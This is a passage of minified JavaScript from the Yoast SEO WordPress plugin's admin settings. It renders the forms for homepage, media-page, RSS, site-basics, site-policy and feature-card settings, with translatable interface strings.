appearance","wordpress-seo")),m&&(0,e.createElement)(l.Badge,{variant:"upsell"},"Premium")),description:(0,Lt.sprintf)(
// translators: %1$s expands to "formats". %2$s expands to "Yoast SEO".
(0,Lt.__)("Determine how your %1$s should look on social media by default. You can always customize the settings for individual %1$s in the %2$s metabox.","wordpress-seo"),o,"Yoast SEO")},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!m,variant:"card",cardLink:f,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...c},(0,e.createElement)(Wa,{isEnabled:!m||g}),(0,e.createElement)(ha,{id:`wpseo_titles-social-image-tax-${t}`,label:(0,Lt.__)("Social image","wordpress-seo"),previewLabel:y,mediaUrlName:`wpseo_titles.social-image-url-tax-${t}`,mediaIdName:`wpseo_titles.social-image-id-tax-${t}`,disabled:b||!g,isDummy:!m}),(0,e.createElement)(yl,{type:"title",name:`wpseo_titles.social-title-tax-${t}`,fieldId:`input-wpseo_titles-social-title-tax-${t}`,label:(0,Lt.__)("Social title","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u,disabled:b||!g,isDummy:!m}),(0,e.createElement)(yl,{type:"description",name:`wpseo_titles.social-description-tax-${t}`,fieldId:`input-wpseo_titles-social-description-tax-${t}`,label:(0,Lt.__)("Social description","wordpress-seo"),replacementVariables:d,recommendedReplacementVariables:u,className:"yst-replacevar--description",disabled:b||!g,isDummy:!m}))))))},wl=()=>{const t=aa("selectReplacementVariablesFor",[],"homepage","page"),s=aa("selectRecommendedReplacementVariablesFor",[],"homepage","page"),r=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening strong tag.
   * %2$s expands to a closing strong tag.
   * %3$s expands to the recommended image size.
   */
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","1200x675px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})})),[]),{values:a}=q(),{opengraph:o}=a.wpseo_social;return(0,e.createElement)(e.Fragment,null,(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.__)("Determine how your homepage should look in the search results.","wordpress-seo")},(0,e.createElement)(wa,{type:"title",name:"wpseo_titles.title-home-wpseo",fieldId:"input-wpseo_titles-title-home-wpseo",label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:t,recommendedReplacementVariables:s}),(0,e.createElement)(wa,{type:"description",name:"wpseo_titles.metadesc-home-wpseo",fieldId:"input-wpseo_titles-metadesc-home-wpseo",label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:t,recommendedReplacementVariables:s,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Social media appearance","wordpress-seo"),description:(0,Lt.__)("Determine how your homepage should look on social media.","wordpress-seo")},(0,e.createElement)(Wa,{isEnabled:o
/* translators: %1$s expands to an opening emphasis tag. %2$s expands to a closing emphasis tag. */,text:(0,Lt.__)("The %1$ssocial image%2$s, %1$ssocial title%2$s and %1$ssocial description%2$s require Open Graph data, which is currently disabled in the ‘Social sharing’ section in %3$sSite features%4$s.","wordpress-seo")}),(0,e.createElement)(ha,{id:"wpseo_titles-open_graph_frontpage_image",label:(0,Lt.__)("Social image","wordpress-seo"),previewLabel:r,mediaUrlName:"wpseo_titles.open_graph_frontpage_image",mediaIdName:"wpseo_titles.open_graph_frontpage_image_id",disabled:!o}),(0,e.createElement)(wa,{type:"title",name:"wpseo_titles.open_graph_frontpage_title",fieldId:"input-wpseo_titles-open_graph_frontpage_title",label:(0,Lt.__)("Social title","wordpress-seo"),replacementVariables:t,recommendedReplacementVariables:s,disabled:!o}),(0,e.createElement)(wa,{type:"description",name:"wpseo_titles.open_graph_frontpage_desc",fieldId:"input-wpseo_titles-open_graph_frontpage_desc",label:(0,Lt.__)("Social description","wordpress-seo"),replacementVariables:t,recommendedReplacementVariables:s,className:"yst-replacevar--description",disabled:!o})))},gl=()=>{const t=aa("selectPreference",[],"homepagePageEditUrl"),s=aa("selectPreference",[],"homepagePostsEditUrl"),r=(0,i.useMemo)((()=>Xi((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("You can determine the title and description for the homepage by %1$sediting the homepage itself%2$s.","wordpress-seo"),"<a>","</a>"),t,"link-homepage-page-edit"))),a=(0,i.useMemo)((()=>Xi((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("You can determine the title and description for the blog page by %1$sediting the blog page itself%2$s.","wordpress-seo"),"<a>","</a>"),s,"link-homepage-posts-page-edit")));return(0,e.createElement)("div",{className:"yst-max-w-screen-sm"},(0,e.createElement)(l.Alert,null,(0,e.createElement)("p",null,r),s&&(0,e.createElement)("p",{className:"yst-pt-2"},a)))},bl=()=>{const t=aa("selectPreference",[],"homepageIsLatestPosts");return(0,e.createElement)(uo,{title:(0,Lt.__)("Homepage","wordpress-seo"),description:(0,Lt.__)("Determine how your homepage should look in the search results and on social media. This is what people probably will see when they search for your brand name.","wordpress-seo")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},t&&(0,e.createElement)(wl,null),!t&&(0,e.createElement)(gl,null))))},vl=()=>{const{name:t,label:s,hasSchemaArticleType:r}=aa("selectPostType",[],"attachment"),a=aa("selectPreference",[],"userLocale"),o=(0,i.useMemo)((()=>gn(s,a)),[s,a]),n=aa("selectReplacementVariablesFor",[t],t,"custom_post_type"),c=aa("selectRecommendedReplacementVariablesFor",[t],t,"custom_post_type"),d=aa("selectArticleTypeValuesFor",[t],t),u=aa("selectPageTypeValuesFor",[t],t),p=aa("selectLink",[],"https://yoa.st/media-pages-thin-content"),m=aa("selectLink",[],"https://yoa.st/show-x"),{values:f}=q(),{"disable-attachment":h,"noindex-attachment":y}=f.wpseo_titles,_=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s and %2$s are replaced by opening and closing <a> tags.
   * %3$s expands to "media".
   * %4$s expand to "Yoast SEO".
   * %5$s expand to "WordPress".
   */
(0,Lt.__)("When you upload media (e.g. an image or video), %5$s automatically creates a %3$s page (attachment URL) for it. These pages are quite empty and could cause %1$sthin content problems and lead to excess pages on your site%2$s. Therefore, %4$s disables them by default (and redirects the attachment URL to the media itself).","wordpress-seo"),"<a>","</a>",o,"Yoast SEO","WordPress"),{a:(0,e.createElement)("a",{href:p,target:"_blank",rel:"noopener noreferrer"})})));return(0,e.createElement)(uo,{title:(0,Lt.sprintf)(
// translators: %1$s expands to "Media".
(0,Lt.__)("%1$s pages","wordpress-seo"),s),description:_},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)("fieldset",{className:"yst-min-width-0 yst-space-y-8"},(0,e.createElement)(ua,{name:`wpseo_titles.disable-${t}`,id:`input-wpseo_titles-disable-${t}`,label:(0,Lt.sprintf)(
// translators: %1$s expands to "media".
(0,Lt.__)("Enable %1$s pages","wordpress-seo"),o),description:(0,Lt.sprintf)(
// translators: %1$s expands to "media".
(0,Lt.__)("We recommend keeping %1$s pages disabled. This will cause all attachment URLs to be redirected to the media itself.","wordpress-seo"),o),className:"yst-max-w-sm"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Search appearance","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to "media". %3$s expands to "Yoast SEO".
(0,Lt.__)("Determine how your %1$s pages should look in search engines. You can always customize the settings for individual %1$s pages in the %2$s metabox.","wordpress-seo"),o,"Yoast SEO")},(0,e.createElement)(ua,{name:`wpseo_titles.noindex-${t}`,id:`input-wpseo_titles-noindex-${t}`,label:(0,Lt.sprintf)(
// translators: %1$s expands to "media".
(0,Lt.__)("Show %1$s pages in search results","wordpress-seo"),o),description:(0,e.createElement)(e.Fragment,null,(0,Lt.sprintf)(
// translators: %1$s expands to "media".
(0,Lt.__)("Disabling this means that %1$s pages created by WordPress will not be indexed by search engines and will be excluded from XML sitemaps.","wordpress-seo"),o),(0,e.createElement)("br",null),(0,e.createElement)(l.Link,{href:m,target:"_blank",rel:"noopener"},(0,Lt.__)("Read more about the search results settings","wordpress-seo")),"."),disabled:h,checked:!h&&!y,className:"yst-max-w-sm"}),(0,e.createElement)(wa,{type:"title",name:`wpseo_titles.title-${t}`,fieldId:`input-wpseo_titles-title-${t}`,label:(0,Lt.__)("SEO title","wordpress-seo"),replacementVariables:n,recommendedReplacementVariables:c,disabled:h}),(0,e.createElement)(wa,{type:"description",name:`wpseo_titles.metadesc-${t}`,fieldId:`input-wpseo_titles-metadesc-${t}`,label:(0,Lt.__)("Meta description","wordpress-seo"),replacementVariables:n,recommendedReplacementVariables:c,disabled:h,className:"yst-replacevar--description"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Schema","wordpress-seo"),description:(0,Lt.sprintf)(
// translators: %1$s expands to "media". %3$s expands to "Yoast SEO".
(0,Lt.__)("Determine how your %1$s pages should be described by default in your site's Schema.org markup. You can always customize the settings for individual %1$s pages in the %2$s metabox.","wordpress-seo"),o,"Yoast SEO")},(0,e.createElement)(Ra,{as:l.SelectField,type:"select",name:`wpseo_titles.schema-page-type-${t}`,id:`input-wpseo_titles-schema-page-type-${t}`,label:(0,Lt.__)("Page type","wordpress-seo"),options:u,disabled:h,className:"yst-max-w-sm"}),r&&(0,e.createElement)("div",null,(0,e.createElement)(Ra,{as:l.SelectField,type:"select",name:`wpseo_titles.schema-article-type-${t}`,id:`input-wpseo_titles-schema-article-type-${t}`,label:(0,Lt.__)("Article type","wordpress-seo"),options:d,disabled:h,className:"yst-max-w-sm"}),(0,e.createElement)(za,{name:t,disabled:h}))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Additional settings","wordpress-seo")},(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:`wpseo_titles.display-metabox-pt-${t}`,id:`input-wpseo_titles-display-metabox-pt-${t}`,label:(0,Lt.__)("Enable SEO controls and assessments","wordpress-seo"),description:(0,Lt.__)("Show or hide our tools and controls in the attachment editor.","wordpress-seo"),disabled:h,className:"yst-max-w-sm"})))))},El=({children:t})=>(0,e.createElement)(l.Table.Cell,{className:"yst-font-medium"},(0,e.createElement)("span",{className:"yst-text-slate-900"},t));El.propTypes={children:ir().node.isRequired};const xl=()=>(0,e.createElement)(uo,{title:(0,Lt.__)("RSS","wordpress-seo")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("RSS feed","wordpress-seo"),description:(0,Lt.__)("Automatically add content to your RSS. This enables you to add links back to your blog and your blog posts, helping search engines identify you as the original source of the content.","wordpress-seo")},(0,e.createElement)(te,{as:l.TextareaField,type:"textarea",rows:4,name:"wpseo_titles.rssbefore",id:"input-wpseo_titles-rssbefore",label:(0,Lt.__)("Content to put before each post in the feed","wordpress-seo")}),(0,e.createElement)(te,{as:l.TextareaField,type:"textarea",rows:4,name:"wpseo_titles.rssafter",id:"input-wpseo_titles-rssafter",label:(0,Lt.__)("Content to put after each post in the feed","wordpress-seo")})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{as:"section",title:(0,Lt.__)("Available variables","wordpress-seo"),description:(0,Lt.__)("You can use the following variables within the content, they will be replaced by the value on the right.","wordpress-seo")},(0,e.createElement)(l.Table,null,(0,e.createElement)(l.Table.Head,null,(0,e.createElement)(l.Table.Row,null,(0,e.createElement)(l.Table.Header,{scope:"col"},(0,Lt.__)("Variable","wordpress-seo")),(0,e.createElement)(l.Table.Header,{scope:"col"},(0,Lt.__)("Description","wordpress-seo")))),(0,e.createElement)(l.Table.Body,null,(0,e.createElement)(l.Table.Row,null,(0,e.createElement)(El,null,"%%AUTHORLINK%%"),(0,e.createElement)(l.Table.Cell,null,(0,Lt.__)("A link to the archive for the post author, with the author's name as anchor text.","wordpress-seo"))),(0,e.createElement)(l.Table.Row,null,(0,e.createElement)(El,null,"%%POSTLINK%%"),(0,e.createElement)(l.Table.Cell,null,(0,Lt.__)("A link to the post, with the title as anchor text.","wordpress-seo"))),(0,e.createElement)(l.Table.Row,null,(0,e.createElement)(El,null,"%%BLOGLINK%%"),(0,e.createElement)(l.Table.Cell,null,(0,Lt.__)("A link to your site, with your site's name as anchor text.","wordpress-seo"))),(0,e.createElement)(l.Table.Row,null,(0,e.createElement)(El,null,"%%BLOGDESCLINK%%"),(0,e.createElement)(l.Table.Cell,null,(0,Lt.__)("A link to your site, with your site's name and description as anchor text.","wordpress-seo"))))))))),kl=Oa(l.ToggleField),Sl=Aa($a),Ll=()=>{const t=(0,i.useMemo)((()=>(0,le.get)(window,"wpseoScriptData.separators",{})),[]),s=aa("selectPreference",[],"generalSettingsUrl"),r=aa("selectPreference",[],"canManageOptions",!1),a=aa("selectPreference",[],"showForceRewriteTitlesSetting",!1),o=aa("selectLink",[],"https://yoa.st/site-basics-replacement-variables"),n=aa("selectLink",[],"https://yoa.st/usage-tracking-2"),c=aa("selectLink",[],"https://yoa.st/site-policies-learn-more"),d=aa("selectPreference",[],"siteTitle",""),u=aa("selectLink",[],"https://yoa.st/site-policies-upsell"),p=aa("selectPreference",[],"isPremium"),m=aa("selectUpsellSettingsAsProps"),{fetchPages:f}=ta(),h=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("Usage tracking allows us to track some data about your site to improve our plugin. %1$sLearn more about which data we track and why%2$s.","wordpress-seo"),"<a>","</a>"),{a:(0,e.createElement)("a",{id:"link-usage-tracking",href:n,target:"_blank",rel:"noopener"})})),[]),y=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to an opening tag. %2$s expands to a closing tag. */
(0,Lt.__)("Select the pages on your website which contain information about your organizational and publishing policies. Some of these might not apply to your site, and you can select the same page for multiple policies. %1$sLearn more about why setting your site policies is important%2$s.","wordpress-seo"),"<a>","</a>"),{a:(0,e.createElement)("a",{id:"link-site-policies",href:c,target:"_blank",rel:"noopener"})})),[c]),_=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s and %2$s expand to an opening and closing emphasis tag. %3$s and %4$s expand to an opening and closing anchor tag. */
(0,Lt.__)("Set the basic info for your website. You can use %1$stagline%2$s and %1$sseparator%2$s as %3$sreplacement variables%4$s when configuring the search appearance of your content.","wordpress-seo"),"<em>","</em>","<a>","</a>"),{em:(0,e.createElement)("em",null),a:(0,e.createElement)("a",{id:"site-basics-replacement-variables",href:o,target:"_blank",rel:"noopener"})})),[]),w=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s expands to an opening emphasis tag. %2$s expands to a closing emphasis tag. */
(0,Lt.__)("We're sorry, you're not allowed to edit the %1$swebsite name%2$s and %1$stagline%2$s.","wordpress-seo"),"<em>","</em>"),{em:(0,e.createElement)("em",null)})),[]),g=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening strong tag.
   * %2$s expands to a closing strong tag.
   * %3$s expands to the recommended image size.
   */
(0,Lt.__)("Recommended size for this image is %1$s%3$s%2$s","wordpress-seo"),"<strong>","</strong>","1200x675px"),{strong:(0,e.createElement)("strong",{className:"yst-font-semibold"})})),[]),b=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening anchor tag.
   * %2$s expands to a closing anchor tag.
   */
(0,Lt.__)("This field updates the %1$stagline in your WordPress settings%2$s.","wordpress-seo"),"<a>","</a>"),{a:(0,e.createElement)("a",{href:`${s}#blogdescription`,target:"_blank",rel:"noopener noreferrer"})})),[]),v=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening italics tag.
   * %2$s expands to a closing italics tag.
   */
(0,Lt.__)("Select a page which describes the editorial principles of your organization. %1$sWhat%2$s do you write about, %1$swho%2$s do you write for, and %1$swhy%2$s?","wordpress-seo"),"<i>","</i>"),{i:(0,e.createElement)("i",null)})),[]),E=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening italics tag.
   * %2$s expands to a closing italics tag.
   */
(0,Lt.__)("Select a page which describes the ownership structure of your organization. It should include information about  %1$sfunding%2$s and %1$sgrants%2$s.","wordpress-seo"),"<i>","</i>"),{i:(0,e.createElement)("i",null)})),[]),x=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening italics tag.
   * %2$s expands to a closing italics tag.
   */
(0,Lt.__)("Select a page which describes how your organization collects and responds to %1$sfeedback%2$s, engages with the %1$spublic%2$s, and prioritizes %1$stransparency%2$s.","wordpress-seo"),"<i>","</i>"),{i:(0,e.createElement)("i",null)})),[]),k=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening italics tag.
   * %2$s expands to a closing italics tag.
   */
(0,Lt.__)("Select a page which outlines your procedure for addressing %1$serrors%2$s (e.g., publishing retractions or corrections).","wordpress-seo"),"<i>","</i>"),{i:(0,e.createElement)("i",null)})),[]),S=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening italics tag.
   * %2$s expands to a closing italics tag.
   */
(0,Lt.__)("Select a page which describes the personal, organizational, and corporate %1$sstandards%2$s of %1$sbehavior%2$s expected by your organization.","wordpress-seo"),"<i>","</i>"),{i:(0,e.createElement)("i",null)})),[]),L=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening italics tag.
   * %2$s expands to a closing italics tag.
   */
(0,Lt.__)("Select a page which provides information on your diversity policies for %1$seditorial%2$s content.","wordpress-seo"),"<i>","</i>"),{i:(0,e.createElement)("i",null)})),[]),T=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(
/**
   * translators: %1$s expands to an opening italics tag.
   * %2$s expands to a closing italics tag.
   */
(0,Lt.__)("Select a page which provides information about your diversity policies for %1$sstaffing%2$s, %1$shiring%2$s and %1$semployment%2$s.","wordpress-seo"),"<i>","</i>"),{i:(0,e.createElement)("i",null)})),[]),{values:F}=q(),{opengraph:$}=F.wpseo_social;return(0,i.useEffect)((()=>{f()}),[f]),(0,e.createElement)(uo,{title:(0,Lt.__)("Site basics","wordpress-seo"),description:(0,Lt.__)("Configure the basics for your website.","wordpress-seo")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-5xl"},(0,e.createElement)(na,{title:(0,Lt.__)("Site info","wordpress-seo"),description:_},!r&&(0,e.createElement)(l.Alert,{variant:"warning",id:"alert-site-defaults-variables",className:"yst-mb-8"},w),(0,e.createElement)("div",{className:"lg:yst-mt-0 lg:yst-col-span-2 yst-space-y-8"},(0,e.createElement)(Da,{as:l.TextField,name:"wpseo_titles.website_name",id:"input-wpseo_titles-website_name",label:(0,Lt.__)("Website name","wordpress-seo"),placeholder:d}),(0,e.createElement)(Da,{as:l.TextField,name:"wpseo_titles.alternate_website_name",id:"input-wpseo_titles-alternate_website_name",label:(0,Lt.__)("Alternate website name","wordpress-seo"),description:(0,Lt.__)("Use the alternate website name for acronyms, or a shorter version of your website's name.","wordpress-seo")}),(0,e.createElement)(te,{as:l.TextField,type:"text",name:"blogdescription",id:"input-blogdescription",label:(0,Lt.__)("Tagline","wordpress-seo"),description:r&&b,readOnly:!r})),(0,e.createElement)(l.RadioGroup,{label:(0,Lt.__)("Title separator","wordpress-seo"),variant:"inline-block"},(0,le.map)(t,(({label:t,aria_label:s},r)=>(0,e.createElement)(te,{key:r,as:l.Radio,type:"radio",variant:"inline-block",name:"wpseo_titles.separator",id:`input-wpseo_titles-separator-${r}`,label:t,isLabelDangerousHtml:!0,"aria-label":s,value:r})))),(0,e.createElement)(Wa,{isEnabled:$,text:/* translators: %1$s expands to an opening emphasis tag. %2$s expands to a closing emphasis tag. */
(0,Lt.__)("The %1$sSite image%2$s requires Open Graph data, which is currently disabled in the ‘Social sharing’ section in %3$sSite features%4$s.","wordpress-seo")}),(0,e.createElement)(ha,{id:"wpseo_social-og_default_image",label:(0,Lt.__)("Site image","wordpress-seo"),description:(0,Lt.__)("This image is used as a fallback for posts/pages that don't have any images set.","wordpress-seo"),previewLabel:g,mediaUrlName:"wpseo_social.og_default_image",mediaIdName:"wpseo_social.og_default_image_id",disabled:!$})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,Lt.__)("Site preferences","wordpress-seo")},a&&(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:"wpseo_titles.forcerewritetitle",id:"input-wpseo_titles-forcerewritetitle",label:(0,Lt.__)("Force rewrite titles","wordpress-seo"),description:(0,Lt.sprintf)(/* translators: %1$s expands to "Yoast SEO" */
(0,Lt.__)("%1$s has auto-detected whether it needs to force rewrite the titles for your pages, if you think it's wrong and you know what you're doing, you can change the setting here.","wordpress-seo"),"Yoast SEO"),className:"yst-max-w-sm"}),(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:"wpseo.disableadvanced_meta",id:"input-wpseo-disableadvanced_meta",label:(0,Lt.__)("Restrict advanced settings for authors","wordpress-seo"),description:(0,Lt.sprintf)(/* translators: %1$s expands to "Yoast SEO" */
(0,Lt.__)("By default only editors and administrators can access the Advanced and Schema section of the %1$s sidebar or metabox. Disabling this allows access to all users.","wordpress-seo"),"Yoast SEO"),className:"yst-max-w-sm"}),(0,e.createElement)(Ra,{as:kl,type:"checkbox",name:"wpseo.tracking",id:"input-wpseo-tracking",label:(0,Lt.__)("Usage tracking","wordpress-seo"),description:h,className:"yst-max-w-sm"})),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(na,{title:(0,e.createElement)(e.Fragment,null,(0,Lt.__)("Site policies","wordpress-seo"),p&&(0,e.createElement)(l.Badge,{className:"yst-ml-1.5",size:"small",variant:"upsell"},"Premium")),description:y},(0,e.createElement)(l.FeatureUpsell,{shouldUpsell:!p,variant:"card",cardLink:u,cardText:(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...m},(0,e.createElement)(Sl,{name:"wpseo_titles.publishing_principles_id",id:"input-wpseo_titles-publishing_principles_id",label:(0,Lt.__)("Publishing principles","wordpress-seo"),className:"yst-max-w-sm",description:v,isDummy:!p}),(0,e.createElement)(Sl,{name:"wpseo_titles.ownership_funding_info_id",id:"input-wpseo_titles-ownership_funding_info_id",label:(0,Lt.__)("Ownership / Funding info","wordpress-seo"),className:"yst-max-w-sm",description:E,isDummy:!p}),(0,e.createElement)(Sl,{name:"wpseo_titles.actionable_feedback_policy_id",id:"input-wpseo_titles-actionable_feedback_policy_id",label:(0,Lt.__)("Actionable feedback policy","wordpress-seo"),className:"yst-max-w-sm",description:x,isDummy:!p}),(0,e.createElement)(Sl,{name:"wpseo_titles.corrections_policy_id",id:"input-wpseo_titles-corrections_policy_id",label:(0,Lt.__)("Corrections policy","wordpress-seo"),className:"yst-max-w-sm",description:k,isDummy:!p}),(0,e.createElement)(Sl,{name:"wpseo_titles.ethics_policy_id",id:"input-wpseo_titles-ethics_policy_id",label:(0,Lt.__)("Ethics policy","wordpress-seo"),className:"yst-max-w-sm",description:S,isDummy:!p}),(0,e.createElement)(Sl,{name:"wpseo_titles.diversity_policy_id",id:"input-wpseo_titles-diversity_policy_id",label:(0,Lt.__)("Diversity policy","wordpress-seo"),className:"yst-max-w-sm",description:L,isDummy:!p}),(0,e.createElement)(Sl,{name:"wpseo_titles.diversity_staffing_report_id",id:"input-wpseo_titles-diversity_staffing_report_id",label:(0,Lt.__)("Diversity staffing report","wordpress-seo"),className:"yst-max-w-sm",description:T,isDummy:!p}))))))},Tl=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"}))})),Fl=({name:t,cardId:s,inputId:r,children:a,imageSrc:o,imageAlt:n,isPremiumFeature:c=!1,isPremiumLink:d="",isBetaFeature:u=!1,isNewFeature:p=!1,hasPremiumBadge:m=!1,title:f})=>{const h=aa("selectPreference",[],"isPremium"),y=aa("selectPluginUrl",[o],o),{isDisabled:_,message:w,disabledSetting:g}=Xr({name:t}),{values:b}=q(),v=aa("selectLink",[d],d),E=aa("selectUpsellSettingsAsProps"),x=(0,l.useSvgAria)(),k=(0,i.useMemo)((()=>(0,le.get)(b,t,!1)),[b,t]),S=(0,i.useMemo)((()=>!h&&c),[h,c]),L=(0,i.useMemo)((()=>_||!S&&!k),[_,S,k]),T=(0,i.useMemo)((()=>_||h&&c&&m||u||p&&!h),[_,h,c,u,p]);return(0,e.createElement)(l.Card,{id:s},(0,e.createElement)(l.Card.Header,{className:"yst-h-auto yst-p-0"},(0,e.createElement)("img",{className:or()("yst-w-full yst-transition yst-duration-200",L&&"yst-opacity-50 yst-filter yst-grayscale"),src:y,alt:null!=n?n:"",width:500,height:250,loading:"lazy",decoding:"async"}),T&&(0,e.createElement)("div",{className:"yst-absolute yst-top-2 yst-right-2 yst-flex yst-gap-1.5"},_&&(0,e.createElement)(l.Badge,{size:"small",variant:"plain"},w),h&&c&&m&&(0,e.createElement)(l.Badge,{size:"small",variant:"upsell"},"Premium"),u&&(0,e.createElement)(l.Badge,{size:"small",variant:"info"},"Beta"),p&&!h&&(0,e.createElement)(l.Badge,{size:"small",variant:"info"},"New"))),(0,e.createElement)(l.Card.Content,{className:"yst-flex yst-flex-col yst-gap-3"},(0,e.createElement)(l.Title,{as:"h3"},f),a),(0,e.createElement)(l.Card.Footer,null,!S&&(0,e.createElement)(Ra,{as:l.ToggleField,type:"checkbox",name:t,id:r,"aria-label":`${(0,Lt.__)("Enable feature","wordpress-seo")} ${f}`,label:(0,Lt.__)("Enable feature","wordpress-seo"),disabled:_,checked:"language"!==g&&k}),S&&(0,e.createElement)(l.Button,{as:"a",className:"yst-gap-2 yst-w-full yst-px-2",variant:"upsell",href:v,target:"_blank",rel:"noopener",...E},(0,e.createElement)(cr,{className:"yst-w-5 yst-h-5 yst--ml-1 yst-shrink-0",...x}),(0,Lt.sprintf)(/* translators: %1$s expands to Premium. */
(0,Lt.__)("Unlock with %1$s","wordpress-seo"),"Premium"))))};Fl.propTypes={name:ir().string.isRequired,cardId:ir().string.isRequired,inputId:ir().string.isRequired,children:ir().node.isRequired,imageSrc:ir().string.isRequired,imageAlt:ir().string,isPremiumFeature:ir().bool,isBetaFeature:ir().bool,isNewFeature:ir().bool,isPremiumLink:ir().string,hasPremiumBadge:ir().bool,title:ir().string.isRequired};const $l=({id:t,link:s,ariaLabel:r,...a})=>{const o=aa("selectLink",[s],s);return(0,e.createElement)(l.Link,{id:t,href:o,variant:"primary",className:"yst-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",target:"_blank",rel:"noopener","aria-label":(0,Lt.sprintf)(/* translators: Hidden accessibility text; %s expands to a translated string of this feature, e.g. "SEO analysis". */
(0,Lt.__)("Learn more about %s (Opens in a new browser tab)","wordpress-seo"),r),...a},(0,Lt.__)("Learn more","wordpress-seo"),(0,e.createElement)(xr,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))};$l.propTypes={id:ir().string.isRequired,link:ir().string.isRequired,ariaLabel:ir().string.isRequired};const Pl=()=>{const t=aa("selectPreference",[],"isPremium"),s=aa("selectPreference",[],"sitemapUrl"),{values:r,initialValues:a}=q(),{enable_xml_sitemap:o}=r.wpseo,{enable_xml_sitemap:n}=a.wpseo,c=(0,i.useMemo)((()=>t?"yst-grid yst-gap-6 yst-grid-cols-1 sm:yst-grid-cols-2 min-[783px]:yst-grid-cols-1 lg:yst-grid-cols-2 xl:yst-grid-cols-3 2xl:yst-grid-cols-4":"yst-grid yst-gap-6 yst-grid-cols-1 sm:yst-grid-cols-2 min-[783px]:yst-grid-cols-1 lg:yst-grid-cols-2 2xl:yst-grid-cols-3 min-[1800px]:yst-grid-cols-4"),[t]);return(0,e.createElement)(uo,{title:(0,Lt.__)("Site features","wordpress-seo"),description:(0,Lt.__)("Tell us which features you want to use.","wordpress-seo")},(0,e.createElement)(ca,null,(0,e.createElement)("div",{className:"yst-max-w-6xl"},(0,e.createElement)("fieldset",{className:"yst-min-w-0"},(0,e.createElement)("legend",{className:"yst-sr-only"},(0,Lt.__)("Writing","wordpress-seo")),(0,e.createElement)("div",{className:"yst-max-w-screen-sm 